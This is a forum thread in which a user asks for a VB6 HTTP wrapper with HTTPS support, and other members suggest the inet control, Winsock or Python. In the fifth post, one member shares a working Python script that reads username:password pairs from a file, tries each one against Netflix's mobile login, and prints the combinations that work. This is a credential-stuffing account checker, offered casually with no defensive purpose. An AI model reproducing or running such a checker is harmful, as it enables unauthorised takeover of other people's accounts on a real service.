Results 1 to 6 of 6

Thread: [VB6] HTTP WRAPPER With Support For HTTPS

  1. #1

    Joined
    Oct 2012
    Posts
    1
    Userbars
    0
    Thanks
    0
    Thanked
    0/0
    DL/UL
    1/0
    Mentioned
    Never
    Time Online
    N/A
    Avg. Time Online
    N/A

    [VB6] HTTP WRAPPER With Support For HTTPS

    Hi there,
    Does anyone know of any HTTP WRAPPER with support for HTTPS?
    I need this to login to some websites and use the API but I can't find anything that works with HTTPS.

    Anyone know of anything?

  2. #2

    Joined
    Dec 2011
    Posts
    77
    Userbars
    3
    Thanks
    3
    Thanked
    32/22
    DL/UL
    30/0
    Mentioned
    24 times
    Time Online
    18d 20h 37m
    Avg. Time Online
    6m
    you should be able to use the inet control.

  3. #3
    Zachafer's Avatar
    Joined
    Dec 2011
    Posts
    1,235
    Userbars
    11
    Thanks
    769
    Thanked
    1,466/678
    DL/UL
    98/0
    Mentioned
    512 times
    Time Online
    24d 13h 9m
    Avg. Time Online
    8m
    You can use Winsock, I don't know if someone has written a wrapper for it in VB6.

  4. #4

    Joined
    Dec 2011
    Posts
    95
    Userbars
    4
    Thanks
    161
    Thanked
    172/63
    DL/UL
    32/3
    Mentioned
    87 times
    Time Online
    17d 12h 5m
    Avg. Time Online
    6m
    hm, wondering. why can't you use browser instead?
    and what API is that you wanna use?
    Last edited by damian002; 10-16-2012 at 05:45 AM.

  5. #5

    Joined
    Jun 2012
    Posts
    1,699
    Thanks
    876
    Thanked
    2,881/1,142
    DL/UL
    44/1
    Mentioned
    562 times
    Time Online
    118d 6h 45m
    Avg. Time Online
    40m
    https is a hassle can you not do it in python ? It supports http by default here is a simple netflix login I made with https:


    import urllib2, re, hashlib
    import socket
    from urllib import urlencode
    from cookielib import CookieJar
    import time
    import urllib

    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(C ookieJar()))





    def logintest(theusername,thepassword):
    #preload a game using all gsi urls


    finalhtml = opener.open('https://www2.netflix.com/Mobile/')
    strhtml1= finalhtml.read()




    postdata = urlencode({
    "email" : theusername,
    "submit" : "submit",

    "password1" : thepassword,
    'SubmitButton' : 'Click Here to Continue',
    'nextpage' : 'http://www2.netflix.com/Mobile',
    'RememberMe' : 'true',
    })
    finalhtml = opener.open('https://www2.netflix.com/Mobile/Login/', postdata)
    strhtml2= finalhtml.read()
    if strhtml2.find("The login information you entered does not match an account in our records.") <10 :
    print theusername , ":" , thepassword


    file = open("accs.txt")

    while 1:
    line = file.readline()
    if not line:
    break
    pass # do something
    lines = line.split(":")
    logintest(lines[0],lines[1])
    time.sleep(5)

  6. #6
    Saiyan Race
    j03's Avatar
    Joined
    Dec 2011
    Posts
    13,722
    Userbars
    166
    Thanks
    5,907
    Thanked
    33,078/6,609
    DL/UL
    23/36
    Mentioned
    3,867 times
    Time Online
    563d 5h 38m
    Avg. Time Online
    3h 13m
    It's not worth doing in VB6, tbh. Like Rare said, do it in Python or some other language being supported.

    Quote Originally Posted by Zachafer View Post
    You can use Winsock, I don't know if someone has written a wrapper for it in VB6.
    I thought Winsock couldn't handle HTTPS??
    (you need an account to see links)
    (you need an account to see links)(you need an account to see links)

    ------------------------
    [02/24/2013] Stealth CORE is made into the first standalone Neopets auto-player.
    ------------------------


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •